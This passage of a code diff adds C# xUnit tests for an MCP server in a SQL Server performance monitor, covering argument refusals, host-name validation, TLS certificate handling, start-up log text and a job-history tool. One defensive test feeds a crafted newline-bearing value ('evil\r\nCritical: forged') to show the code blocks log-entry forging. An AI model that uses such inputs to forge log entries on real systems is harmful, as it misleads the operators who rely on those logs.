+    /// <summary>A <c>tools/call</c> that sends <paramref name="argumentsJson"/> as the call's arguments object.</summary>
+    private static Task<(int StatusCode, string Body)> ToolsCallWithArgumentsAsync(
+        TestServer server, string path, string host, IPAddress remote, string toolName, string argumentsJson)
+        => SendJsonRpcAsync(
+            server, path, host, remote, "tools/call", $"{{\"name\":\"{toolName}\",\"arguments\":{argumentsJson}}}", bearer: null);
+
+    /// <summary>
+    /// The argument guard's typed refusal reaches a caller over the stateless HTTP pipeline the product ships. The guard
+    /// takes its record of each tool's parameter types from the request's services, and the in-process server the other
+    /// pins run on hands it those, so only a call made like this one shows that a real client's request resolves it too.
+    /// A null for <c>hours_back</c> is the proof: the schema says "integer" and does not say which parameters take a
+    /// null, so only the typed path refuses it. With the record missing the null would reach the SDK's binder, which
+    /// answers "An error occurred invoking ..." and names neither the argument nor the reason.
+    /// </summary>
+    [Fact]
+    public async Task ToolsCall_ANullForAWholeNumber_IsRefusedByName_OverTheShippedHttpPipeline()
+    {
+        using var server = await BuildServer(networkMode: false);
+
+        var (statusCode, body) = await ToolsCallWithArgumentsAsync(
+            server, "/", "localhost", IPAddress.Loopback, "get_alert_history", "{\"hours_back\":null}");
+        Assert.Equal(StatusCodes.Status200OK, statusCode);
+
+        var result = ReadJsonRpcResult(body);
+        Assert.True(result.GetProperty("isError").GetBoolean(), $"expected an error result, got: {body}");
+        var text = result.GetProperty("content").EnumerateArray().Single().GetProperty("text").GetString() ?? "";
+        Assert.True(
+            PerformanceMonitor.Common.McpHelpers.IsRefusalEnvelope(text), $"expected the argument guard's refusal, got: {text}");
+
+        using var refusal = JsonDocument.Parse(text);
+        Assert.Equal("hours_back", refusal.RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+        Assert.Contains(
+            "Argument 'hours_back' for tool 'get_alert_history' takes a whole number of hours, and cannot be null, and the call sent null.",
+            refusal.RootElement.GetProperty("message").GetString(),
+            StringComparison.Ordinal);
+    }
+
     private static JsonElement ReadJsonRpcResult(string body)
     {
         using var document = JsonDocument.Parse(ExtractJsonPayload(body));
diff --git a/Darling/Darling.Tests/DarlingMcpHostTests.cs b/Darling/Darling.Tests/DarlingMcpHostTests.cs
index 9ffacddbae..cd06e073b1 100644
--- a/Darling/Darling.Tests/DarlingMcpHostTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpHostTests.cs
@@ -6,9 +6,14 @@
  * Licensed under the MIT License. See LICENSE file in the project root for full license information.
  */
 
+using System;
+using System.Linq;
 using System.Net;
+using Microsoft.Extensions.DependencyInjection;
 using Microsoft.Extensions.Logging;
 using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
 using Xunit;
 using Host = PerformanceMonitor.Darling.Service.Mcp.DarlingMcpHostService;
 
@@ -273,4 +278,339 @@ public void MapBindReasonSeverity_NonDegradeReasons_AreSilent()
         Assert.Null(Host.MapBindReasonSeverity(Host.McpBindReason.NetworkExposed));     // announced at start with the real bind
         Assert.Null(Host.MapBindReasonSeverity(Host.McpBindReason.LoopbackByDefault));  // the silent, byte-for-byte-today path
     }
+
+    /* ---- ResolveAllowedHostName (#5288, review F2): the one extra Host name, admitted in NETWORK mode only ---- */
+
+    [Theory]
+    [InlineData("mcp.corp.example", "mcp.corp.example")]
+    [InlineData("  MCP.Corp.Example. ", "MCP.Corp.Example")]        // trimmed, one trailing dot stripped, case kept
+    [InlineData("b\u00FCcher.example", "xn--bcher-kva.example")]    // a Unicode name is admitted as the punycode a client sends
+    public void ResolveAllowedHostName_NetworkMode_IsTheNormalizedName_AndSilent(string configured, string expected)
+    {
+        var logger = new CapturingTestLogger();
+
+        Assert.Equal(expected, Host.ResolveAllowedHostName(configured, networkMode: true, logger));
+        Assert.Empty(logger.Lines);
+    }
+
+    [Theory]
+    [InlineData("mcp.corp.example")]
+    [InlineData("b\u00FCcher.example")]
+    public void ResolveAllowedHostName_LoopbackOrDegradedMode_IsNull_EvenForAValidName(string configured)
+    {
+        /* networkMode is false in loopback-only mode AND after every degrade (an unreadable token, a refused
+           certificate), so one answer covers all of them: that surface is tokenless, and the name exists for the
+           network listener's clients. A valid name that is simply not used here is not worth a log line. */
+        var logger = new CapturingTestLogger();
+
+        Assert.Null(Host.ResolveAllowedHostName(configured, networkMode: false, logger));
+        Assert.Empty(logger.Lines);
+    }
+
+    [Theory]
+    [InlineData(true, null)]
+    [InlineData(true, "")]
+    [InlineData(true, "   ")]
+    [InlineData(false, null)]
+    [InlineData(false, "\t\r\n")]
+    public void ResolveAllowedHostName_NotSet_IsNullAndSilent_InEveryMode(bool networkMode, string? configured)
+    {
+        var logger = new CapturingTestLogger();
+
+        Assert.Null(Host.ResolveAllowedHostName(configured, networkMode, logger));
+        Assert.Empty(logger.Lines);
+    }
+
+    [Theory]
+    [InlineData(true, "https://mcp.corp.example")]
+    [InlineData(false, "https://mcp.corp.example")]
+    [InlineData(true, "mcp.corp.example:5152")]
+    [InlineData(true, "*.corp.example")]
+    [InlineData(true, "10.1.2.3")]
+    [InlineData(false, "10.1.2.3")]
+    [InlineData(true, "mcp.corp.example..")]
+    [InlineData(true, "b\u00FCcher..example")]                      // an invalid internationalized name
+    public void ResolveAllowedHostName_SetButRefused_LogsOneWarning_AdmitsNothing_InEveryMode(bool networkMode, string configured)
+    {
+        /* The warning is about the CONFIG VALUE, so it is written in loopback mode too: the operator who typed a URL
+           where a name goes finds out at the first start, not only once the network listener is working. */
+        var logger = new CapturingTestLogger();
+
+        Assert.Null(Host.ResolveAllowedHostName(configured, networkMode, logger));
+
+        var line = Assert.Single(logger.Lines);
+        Assert.StartsWith("Warning: ", line);
+        Assert.Contains("mcp.network.hostName", line);
+        Assert.Contains($"'{configured}'", line);
+    }
+
+    [Fact]
+    public void ResolveAllowedHostName_SetButRefused_EchoesNoLineBreak()
+    {
+        /* The value comes from darling.json, but a log file is split on newlines: a value carrying one must not be
+           able to forge a second entry. */
+        var logger = new CapturingTestLogger();
+
+        Assert.Null(Host.ResolveAllowedHostName("evil\r\nCritical: forged", networkMode: true, logger));
+
+        var line = Assert.Single(logger.Lines);
+        Assert.DoesNotContain("\r", line);
+        Assert.DoesNotContain("\n", line);
+    }
+
+    /* ---- TLS on the network listener (#5288): the host's own glue, pinned from the shipped source ----
+       #1648's lesson: a pure-function test passes happily on a build where the decision never reaches the
+       server. The listener a certificate produces is proven live by DarlingMcpTlsLiveTests; what only the host can
+       do (adopt, bail, dispose, gate on network mode) cannot be driven from a test, because a network-mode start
+       needs a managed store, so it is pinned where it lives. */
+
+    private static string HostSource()
+        => RepoFile.ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpHostService.cs");
+
+    private static int CountOf(string source, string needle)
+    {
+        var count = 0;
+        for (var at = source.IndexOf(needle, StringComparison.Ordinal); at >= 0; at = source.IndexOf(needle, at + needle.Length, StringComparison.Ordinal))
+        {
+            count++;
+        }
+
+        return count;
+    }
+
+    /// <summary>The text of one member, braces balanced from its header (every brace in these bodies is paired).</summary>
+    private static string BodyOf(string source, string header)
+    {
+        var start = source.IndexOf(header, StringComparison.Ordinal);
+        Assert.True(start >= 0, $"'{header}' is gone - this pin needs rewriting");
+        var depth = 0;
+        for (var i = source.IndexOf('{', start); i < source.Length; i++)
+        {
+            if (source[i] == '{')
+            {
+                depth++;
+            }
+            else if (source[i] == '}' && --depth == 0)
+            {
+                return source[start..(i + 1)];
+            }
+        }
+
+        Assert.Fail($"unbalanced braces after '{header}'");
+        return "";
+    }
+
+    [Fact]
+    public void McpHost_OneUseHttps_LoopbackListenersPlain()
+    {
+        var source = HostSource();
+
+        /* Exactly one UseHttps call in the file: a second would mean a loopback listener acquired a certificate. */
+        Assert.Equal(1, CountOf(source, "UseHttps("));
+
+        /* ...and it sits on the NETWORK listener's own callback, handing Kestrel the leaf and the intermediates
+           through the body both hosts share, ahead of both loopback listeners and the loopback-only server. */
+        var network = source.IndexOf("options.Listen(primaryBind, effectivePort, listen =>", StringComparison.Ordinal);
+        var https = source.IndexOf("listen.UseHttps(https => DarlingListenerTls.ConfigureHttps(https, certificate.Value));", StringComparison.Ordinal);
+        var v4 = source.IndexOf("options.Listen(IPAddress.Loopback, effectivePort);", StringComparison.Ordinal);
+        var v6 = source.IndexOf("options.Listen(IPAddress.IPv6Loopback, effectivePort);", StringComparison.Ordinal);
+        var loopbackOnly = source.IndexOf("options.ListenLocalhost(effectivePort);", StringComparison.Ordinal);
+        Assert.True(
+            network > 0 && https > network && v4 > https && v6 > v4 && loopbackOnly > v6,
+            "the network listener must carry the one UseHttps call, ahead of the plain loopback listeners");
+
+        /* The host hands the listener exactly the certificate Resolve returned, and routes through ConfigureListeners. */
+        Assert.Contains(
+            "ConfigureListeners(options, networkMode, primaryBind, effectivePort, serverCertificate)", source, StringComparison.Ordinal);
+        Assert.Contains("serverCertificate = tlsOutcome.Certificate;", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void McpHost_TlsRefusal_SetsNetworkModeFalse()
+    {
+        var source = HostSource();
+        var tryStart = BodyOf(source, "private async Task<bool> TryStartServerAsync(");
+
+        /* One Resolve call, with the MCP labels, the MCP state, the block, and the normalized name. */
+        Assert.Equal(1, CountOf(source, "DarlingListenerTls.Resolve("));
+        var call = tryStart.IndexOf("DarlingListenerTls.Resolve(", StringComparison.Ordinal);
+        var callText = tryStart[call..tryStart.IndexOf(';', call)];
+        Assert.Contains("ListenerTlsLabels.Mcp", callText, StringComparison.Ordinal);
+        Assert.Contains("_mcpTlsCertState", callText, StringComparison.Ordinal);
+        Assert.Contains("network.Tls", callText, StringComparison.Ordinal);
+        Assert.Contains("NormalizedHostName(network.HostName)", callText, StringComparison.Ordinal);
+
+        /* NETWORK mode only: the block that holds the call opens with if (networkMode) and has not closed by it. */
+        var gate = tryStart.LastIndexOf("if (networkMode)", call, StringComparison.Ordinal);
+        Assert.True(gate > 0, "the TLS call must sit under if (networkMode)");
+        Assert.DoesNotContain("\n            }", tryStart[gate..call], StringComparison.Ordinal);
+
+        /* A refusal decides the mode, and the F1 backstop refuses TLS-asked-for-but-no-certificate with a Critical. */
+        Assert.Contains("networkMode = tlsOutcome.Expose;", tryStart, StringComparison.Ordinal);
+        Assert.Matches(
+            @"(?s)if \(tlsOutcome\.ExposesWithoutItsCertificate\)\s*\{\s*_logger\.LogCritical\(.*?tlsOutcome\.Shape\);\s*networkMode = false;\s*\}",
+            tryStart);
+
+        /* Ordered so the decision reaches everything that reads the final mode: after the token (a token that
+           cannot be read already made the mode loopback-only, so no certificate is loaded for it), before the real
+           bind address, before the Host-name decision, and before the pipeline. */
+        var token = tryStart.IndexOf("config.Mcp.Network.ResolveToken(", StringComparison.Ordinal);
+        var primaryBind = tryStart.IndexOf("var primaryBind = networkMode", StringComparison.Ordinal);
+        var hostName = tryStart.IndexOf("var allowedHostName = ResolveAllowedHostName(", StringComparison.Ordinal);
+        var pipeline = tryStart.IndexOf("ConfigurePipeline(_app,", StringComparison.Ordinal);
+        Assert.True(
+            token > 0 && call > token && primaryBind > call && hostName > primaryBind && pipeline > hostName,
+            "TLS must be decided after the token and before primaryBind, the Host-name decision and the pipeline");
+    }
+
+    [Fact]
+    public void McpHost_EveryBailPath_DisposesTheCertificate()
+    {
+        var source = HostSource();
+        var tryStart = BodyOf(source, "private async Task<bool> TryStartServerAsync(");
+
+        /* The host adopts what comes back at once, before the first bail path after the TLS call (the web pin's twin). */
+        var call = tryStart.IndexOf("DarlingListenerTls.Resolve(", StringComparison.Ordinal);
+        var adopted = tryStart.IndexOf("_serverCertificate = tlsOutcome.Certificate;", StringComparison.Ordinal);
+        var firstBail = tryStart.IndexOf("PortUtilityService.IsTcpPortListeningAsync(", StringComparison.Ordinal);
+        Assert.True(call > 0 && adopted > call && firstBail > adopted, "the host no longer adopts the certificate before its bail paths");
+        Assert.Contains("tlsOutcome.ExposesWithoutItsCertificate", tryStart, StringComparison.Ordinal);
+
+        /* Every way out after the adoption releases it: the port bail, the non-Windows bail, both store-credential
+           bails, the shutdown-mid-start catch, and the generic catch. Each return false is preceded by the cleanup. */
+        var bails = System.Text.RegularExpressions.Regex.Matches(tryStart, "return false;")
+            .Where(match => match.Index > adopted)
+            .ToList();
+        Assert.True(bails.Count >= 6, $"expected at least six bail paths after the adoption, found {bails.Count}");
+        foreach (var bail in bails)
+        {
+            Assert.EndsWith(
+                "await DisposeFailedStartAsync();", tryStart[..bail.Index].TrimEnd(), StringComparison.Ordinal);
+        }
+
+        /* The cleanup itself, and the one release both exits share: dispose, forget, withdraw the published facts.
+           A stop withdraws whatever is published; a failed start keeps a refusal or an expired certificate and
+           withdraws any other (ListenerTlsFailedStartTests drives the behavior). */
+        var release = BodyOf(source, "private void ReleaseServerCertificate(bool failedStart = false)");
+        Assert.Contains("_serverCertificate?.Dispose();", release, StringComparison.Ordinal);
+        Assert.Contains("_serverCertificate = null;", release, StringComparison.Ordinal);
+        Assert.Contains("_mcpTlsCertState.Clear();", release, StringComparison.Ordinal);
+        Assert.Contains("_mcpTlsCertState.ClearUnlessRefusal(DateTimeOffset.UtcNow);", release, StringComparison.Ordinal);
+        Assert.Contains("ReleaseServerCertificate(failedStart: true);", BodyOf(source, "internal async Task DisposeFailedStartAsync()"), StringComparison.Ordinal);
+
+        /* StopServerAsync releases BEFORE its early _app-is-null return, so no path skips it, and again after the
+           app has stopped, so a handshake never reaches a key that was already removed. */
+        var stop = BodyOf(source, "private async Task StopServerAsync(CancellationToken cancellationToken)");
+        Assert.DoesNotContain("failedStart: true", stop, StringComparison.Ordinal);
+        var nullGuard = stop.IndexOf("if (_app is null)", StringComparison.Ordinal);
+        var earlyRelease = stop.IndexOf("ReleaseServerCertificate();", StringComparison.Ordinal);
+        var earlyReturn = stop.IndexOf("return;", StringComparison.Ordinal);
+        Assert.True(nullGuard >= 0 && earlyRelease > nullGuard && earlyRelease < earlyReturn, "the early return must release the certificate first");
+        Assert.True(
+            stop.LastIndexOf("ReleaseServerCertificate();", StringComparison.Ordinal) > stop.IndexOf("await _app.StopAsync(", StringComparison.Ordinal),
+            "the certificate must also be released after the app has stopped");
+    }
+
+    /* ---- the constructor and the DI seam ---- */
+
+    [Fact]
+    public void Constructor_McpTlsCertState_IsTheLastParameter_AndOptional()
+    {
+        var parameters = typeof(Host).GetConstructors().Single().GetParameters();
+
+        Assert.Equal("mcpTlsCertState", parameters[^1].Name);
+        Assert.Equal(typeof(McpTlsCertificateState), parameters[^1].ParameterType);
+        Assert.True(parameters[^1].IsOptional);
+    }
+
+    [Fact]
+    public void Di_HandsTheHostTheRegisteredMcpTlsCertificateState_TheOneTheWorkerReads()
+    {
+        /* The self-alert worker takes the same registered McpTlsCertificateState singleton, so what the host publishes
+           and clears is what the alert sweep reads. A host that kept its private default would publish into a state
+           nobody reads and the alert would never fire. */
+        var services = new ServiceCollection();
+        services.AddLogging();
+        services.AddSingleton<McpRuntimeState>();
+        services.AddSingleton<MonitoredServerRegistryState>();
+        var registered = new McpTlsCertificateState();
+        services.AddSingleton(registered);
+        services.AddHostedService<Host>();
+
+        using var provider = services.BuildServiceProvider();
+        var host = provider.GetServices<Microsoft.Extensions.Hosting.IHostedService>().OfType<Host>().Single();
+
+        var field = typeof(Host).GetField("_mcpTlsCertState", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);
+        Assert.NotNull(field);
+        Assert.Same(registered, field!.GetValue(host));
+
+        var program = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Program.cs");
+        Assert.Contains("builder.Services.AddHostedService<DarlingMcpHostService>();", program, StringComparison.Ordinal);
+    }
+
+    /* ---- the start line (#5288 review F11) ---- */
+
+    private const string StartOrigin = "the control plane (config.config_service)";
+
+    /* The line this host logged before TLS existed, as its template, so "byte-identical" is measured against the old
+       text rather than restated by hand. */
+    private const string OldStartTemplate =
+        "Starting MCP server on http://{Listen}:{Port} (LAN-exposed to {Cidr} behind a bearer token + in-app CIDR; loopback also bound) \u2014 "
+        + "enabled/port from {Origin}; listen/allowFrom/token from darling.json mcp.network (file-only, restart-only)";
+
+    [Theory]
+    [InlineData("192.168.1.205", "192.168.1.0/24")]
+    [InlineData("0.0.0.0", "192.168.1.0/24")]
+    [InlineData("::", "2001:db8::/32")]
+    [InlineData("127.0.0.1", "127.0.0.0/8")]
+    public void DescribeNetworkStart_NoTls_IsByteIdenticalToTheOldLine(string listen, string allowFrom)
+    {
+        var cidr = CidrAllowList.Parse(allowFrom);
+        var expected = OldStartTemplate
+            .Replace("{Listen}", IPAddress.Parse(listen).ToString(), StringComparison.Ordinal)
+            .Replace("{Port}", "5152", StringComparison.Ordinal)
+            .Replace("{Cidr}", cidr.ToString(), StringComparison.Ordinal)
+            .Replace("{Origin}", StartOrigin, StringComparison.Ordinal);
+
+        Assert.Equal(expected, Host.DescribeNetworkStart(false, IPAddress.Parse(listen), 5152, cidr, StartOrigin));
+    }
+
+    [Fact]
+    public void DescribeNetworkStart_Tls_SpecificListen_SaysHttps_AndLoopbackIsPlainHttp()
+    {
+        var line = Host.DescribeNetworkStart(
+            true, IPAddress.Parse("192.168.1.205"), 5152, CidrAllowList.Parse("192.168.1.0/24"), StartOrigin);
+
+        Assert.Equal(
+            "Starting MCP server on https://192.168.1.205:5152 (LAN-exposed to 192.168.1.0/24 behind a bearer token + in-app CIDR; "
+            + "loopback also bound over plain HTTP) \u2014 enabled/port from the control plane (config.config_service); "
+            + "listen/allowFrom/token/tls from darling.json mcp.network (file-only, restart-only)",
+            line);
+    }
+
+    [Theory]
+    [InlineData("0.0.0.0", "192.168.1.0/24")]
+    [InlineData("::", "2001:db8::/32")]
+    [InlineData("127.0.0.1", "127.0.0.0/8")]
+    public void DescribeNetworkStart_Tls_WildcardOrLoopbackListen_SaysTheOneListenerServesHttpsToLoopbackToo(string listen, string allowFrom)
+    {
+        /* No second set of loopback listeners exists here (ShouldAddLoopbackListeners declines), so the one listener
+           is HTTPS for loopback as well, and saying "plain HTTP" would send a local client to the wrong scheme. */
+        var line = Host.DescribeNetworkStart(
+            true, IPAddress.Parse(listen), 5152, CidrAllowList.Parse(allowFrom), StartOrigin);
+
+        Assert.StartsWith($"Starting MCP server on https://{IPAddress.Parse(listen)}:5152 (LAN-exposed to ", line, StringComparison.Ordinal);
+        Assert.Contains("; the one listener serves HTTPS to loopback too) \u2014 ", line, StringComparison.Ordinal);
+        Assert.DoesNotContain("plain HTTP", line, StringComparison.Ordinal);
+        Assert.Contains("listen/allowFrom/token/tls from darling.json", line, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void McpHost_LogsTheStartLineThroughDescribeNetworkStart_WithTheAdoptedCertificate()
+    {
+        Assert.Contains(
+            "DescribeNetworkStart(serverCertificate is not null, primaryBind, effectivePort, allowedCidr, origin)",
+            HostSource(),
+            StringComparison.Ordinal);
+    }
 }
diff --git a/Darling/Darling.Tests/DarlingMcpJobHistoryToolTests.cs b/Darling/Darling.Tests/DarlingMcpJobHistoryToolTests.cs
new file mode 100644
index 0000000000..a57612dc8a
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingMcpJobHistoryToolTests.cs
@@ -0,0 +1,931 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using ModelContextProtocol.Server;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins <c>get_job_history</c>: the tool surface, its refusals (which run before any store read), and, on a seeded
+/// store with fixed anchors, that the tool, the Storage reader, the WPF viewer's read and <c>/api/read</c> agree.
+/// </summary>
+public sealed class DarlingMcpJobHistoryToolSurfaceTests
+{
+    private static MethodInfo[] ToolMethods() => typeof(DarlingMcpJobTools)
+        .GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance)
+        .Where(m => m.GetCustomAttribute<McpServerToolAttribute>() is not null)
+        .ToArray();
+
+    [Fact]
+    public void ToolSurface_IncludesGetJobHistory_StaticAndStringReturning()
+    {
+        var method = ToolMethods().Single(m => m.GetCustomAttribute<McpServerToolAttribute>()!.Name == "get_job_history");
+        Assert.True(method.IsStatic);
+        Assert.Equal(typeof(Task<string>), method.ReturnType);
+    }
+
+    [Fact]
+    public void ParamContract_ServerOptional_FilterAndWindowArguments()
+    {
+        var method = ToolMethods().Single(m => m.GetCustomAttribute<McpServerToolAttribute>()!.Name == "get_job_history");
+        var described = method.GetParameters()
+            .Where(p => p.GetCustomAttribute<DescriptionAttribute>() is not null)
+            .ToArray();
+
+        Assert.Equal(
+            new[] { "server_name", "hours_back", "job_name", "status", "category", "limit", "as_of" },
+            described.Select(p => p.Name).ToArray());
+        Assert.All(described, p => Assert.True(p.HasDefaultValue, $"{p.Name} must be optional"));
+    }
+
+    [Fact]
+    public void TheAgentStateIsJudgedAgainstTheAlertsLiveStalenessSetting_NotTheShippedDefault()
+    {
+        var reader = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingJobReader.cs").ReplaceLineEndings("\n");
+        var start = reader.IndexOf("internal static AgentState ResolveAgentState(", StringComparison.Ordinal);
+        Assert.True(start > 0, "ResolveAgentState is gone");
+        var body = reader[start..reader.IndexOf("\n    }\n", start, StringComparison.Ordinal)];
+        Assert.Contains("TimeSpan staleWindow", body, StringComparison.Ordinal);
+        Assert.Contains(">= staleWindow", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("StaleWindow", body.Replace("staleWindow", ""), StringComparison.Ordinal);
+        Assert.DoesNotContain("FromMinutes", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("AddMinutes", body, StringComparison.Ordinal);
+
+        /* The window is the setting the engine reads (DarlingAlertSettings.CollectionStaleMinutes), with its clamp. */
+        Assert.Equal("SELECT collection_stale_minutes FROM config_alert_settings WHERE id = 1", DarlingJobReader.CollectionStaleMinutesSql);
+        var read = reader[reader.IndexOf("ReadLatestAgentStatesAsync(", StringComparison.Ordinal)..];
+        Assert.Contains("var staleWindow = await ReadStaleWindowAsync(postgres, cancellationToken);", read, StringComparison.Ordinal);
+        var settings = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingAlertSettings.cs").ReplaceLineEndings("\n");
+        Assert.Contains("CollectionStaleMinutes => Math.Clamp(_config.Alerts.CollectionStaleMinutes, 5, 1440);", settings, StringComparison.Ordinal);
+        Assert.Equal(5, DarlingJobReader.StaleMinutesMin);
+        Assert.Equal(1440, DarlingJobReader.StaleMinutesMax);
+    }
+
+    [Fact]
+    public void TheStaleWindowIsTheStoredSettingClamped_AndTheShippedDefaultWhenNoneIsStored()
+    {
+        Assert.Equal(TimeSpan.FromMinutes(60), DarlingJobReader.StaleWindowFor(60));
+        Assert.Equal(TimeSpan.FromMinutes(5), DarlingJobReader.StaleWindowFor(0));
+        Assert.Equal(TimeSpan.FromMinutes(1440), DarlingJobReader.StaleWindowFor(99999));
+        Assert.Equal(DarlingSelfAlertEvaluator.StaleWindow, DarlingJobReader.StaleWindowFor(null));
+    }
+
+    [Fact]
+    public void AStaleSnapshotReadsAsUnknown_AndAFreshOneKeepsItsState()
+    {
+        var now = new DateTime(2026, 3, 11, 12, 0, 0, DateTimeKind.Utc);
+        var window = TimeSpan.FromMinutes(60);
+        var next = now.AddHours(1);
+
+        var fresh = DarlingJobReader.ResolveAgentState("s", false, "Stopped", next, now - window + TimeSpan.FromSeconds(1), now, window);
+        Assert.False(fresh.AgentRunning);
+        Assert.Equal("Stopped", fresh.AgentStatusDesc);
+        Assert.Equal(next, fresh.NextRunUtc);
+
+        var atTheWindow = DarlingJobReader.ResolveAgentState("s", true, "Running", next, now - window, now, window);
+        Assert.Null(atTheWindow.AgentRunning);
+        Assert.Equal(DarlingJobReader.AgentUnknownDescription, atTheWindow.AgentStatusDesc);
+        Assert.Null(atTheWindow.NextRunUtc);
+
+        var stoppedAndStale = DarlingJobReader.ResolveAgentState("s", false, "Stopped", null, now - window - TimeSpan.FromHours(1), now, window);
+        Assert.Null(stoppedAndStale.AgentRunning);
+
+        /* The same 45-minute-old stopped row: inside a 60-minute window it is stopped, inside the shipped 30 it is unknown. */
+        var age = now - TimeSpan.FromMinutes(45);
+        Assert.False(DarlingJobReader.ResolveAgentState("s", false, "Stopped", null, age, now, TimeSpan.FromMinutes(60)).AgentRunning);
+        Assert.Null(DarlingJobReader.ResolveAgentState("s", false, "Stopped", null, age, now, DarlingSelfAlertEvaluator.StaleWindow).AgentRunning);
+    }
+
+    [Fact]
+    public void AFreshRowWithNoAgentServiceIsNotStopped_ButAStoppedOneIs()
+    {
+        var now = new DateTime(2026, 3, 11, 12, 0, 0, DateTimeKind.Utc);
+        var window = TimeSpan.FromMinutes(30);
+        var captured = now - TimeSpan.FromMinutes(1);
+
+        /* The collector stores agent_running = 0 with NULL descriptions when sys.dm_server_services has no Agent row. */
+        var none = DarlingJobReader.ResolveAgentState("s", false, null, null, captured, now, window);
+        Assert.Null(none.AgentRunning);
+        Assert.Equal("no SQL Agent service found", none.AgentStatusDesc);
+        Assert.Equal("no SQL Agent service found", DarlingJobReader.NoAgentServiceDescription);
+
+        var stopped = DarlingJobReader.ResolveAgentState("s", false, "Stopped", null, captured, now, window);
+        Assert.False(stopped.AgentRunning);
+        Assert.Equal("Stopped", stopped.AgentStatusDesc);
+
+        /* A stale no-service row is just stale. */
+        Assert.Equal(DarlingJobReader.AgentUnknownDescription,
+            DarlingJobReader.ResolveAgentState("s", false, null, null, now - window, now, window).AgentStatusDesc);
+    }
+
+    [Fact]
+    public async Task AnUnknownStatus_IsRefusedByName_BeforeAnyStoreRead()
+    {
+        var body = await DarlingMcpJobTools.GetJobHistory(null!, status: "Exploded");
+        Assert.Equal("invalid", DarlingMcpTestData.StatusOf(body));
+        using var doc = JsonDocument.Parse(body);
+        var message = doc.RootElement.GetProperty("message").GetString()!;
+        Assert.Contains("Invalid status value 'Exploded'", message, StringComparison.Ordinal);
+        Assert.Contains("Failed, Succeeded, Retry, Canceled", message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ABadWindow_IsRefused_BeforeAnyStoreRead()
+    {
+        var hours = await DarlingMcpJobTools.GetJobHistory(null!, hours_back: 0);
+        Assert.Equal("invalid", DarlingMcpTestData.StatusOf(hours));
+        var asOf = await DarlingMcpJobTools.GetJobHistory(null!, as_of: "not-a-date");
+        Assert.Equal("invalid", DarlingMcpTestData.StatusOf(asOf));
+        var limit = await DarlingMcpJobTools.GetJobHistory(null!, limit: 0);
+        Assert.Equal("invalid", DarlingMcpTestData.StatusOf(limit));
+    }
+}
+
+[Collection("live-postgres")]
+public sealed class DarlingMcpJobHistoryToolLiveTests
+{
+    private const string NameA = "jobhist-alpha";
+    private const string NameB = "jobhist-bravo";
+    private const string NameC = "jobhist-charlie";
+    private static readonly int ServerA = ServerIdHelper.GetDeterministicHashCode(NameA);
+    private static readonly int ServerB = ServerIdHelper.GetDeterministicHashCode(NameB);
+    private static readonly int ServerC = ServerIdHelper.GetDeterministicHashCode(NameC);
+
+    /* Fixed anchors: the window is 2026-03-10 00:00Z to 2026-03-11 00:00Z, whatever today is. */
+    private static readonly DateTime AsOf = new(2026, 3, 11, 0, 0, 0, DateTimeKind.Utc);
+    private const string AsOfText = "2026-03-11T00:00:00Z";
+    private static string? Cs => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private async Task<(NpgsqlConnection Connection, NpgsqlDataSource Postgres)> OpenAsync(CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(Cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await CleanupAsync(connection, ct);
+        return (connection, NpgsqlDataSource.Create(Cs!));
+    }
+
+    private static async Task SeedAsync(NpgsqlConnection c, CancellationToken ct)
+    {
+        await DarlingMcpTestData.RegisterServerAsync(c, ServerA, NameA, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, ServerB, NameB, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, ServerC, NameC, ct);
+        /* Alpha keeps local time at UTC-5; the others have no offset row and read as UTC. */
+        await DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, utc_offset_minutes) VALUES ($1,$2,$3,$4,$5)",
+            CollectionIdGenerator.Next(), new DateTime(2026, 3, 10, 0, 0, 0, DateTimeKind.Unspecified), ServerA, NameA, -300);
+
+        /* Alpha: local 08:00 is 13:00 UTC. */
+        await InsertAsync(c, ct, 1, ServerA, NameA, "Nightly ETL", "Data Maintenance", 0, 1, 600, new DateTime(2026, 3, 10, 8, 0, 0), null);
+        await InsertAsync(c, ct, 2, ServerA, NameA, "Nightly ETL", "Data Maintenance", 1, 0, 30, new DateTime(2026, 3, 10, 9, 0, 0), "step blew up");
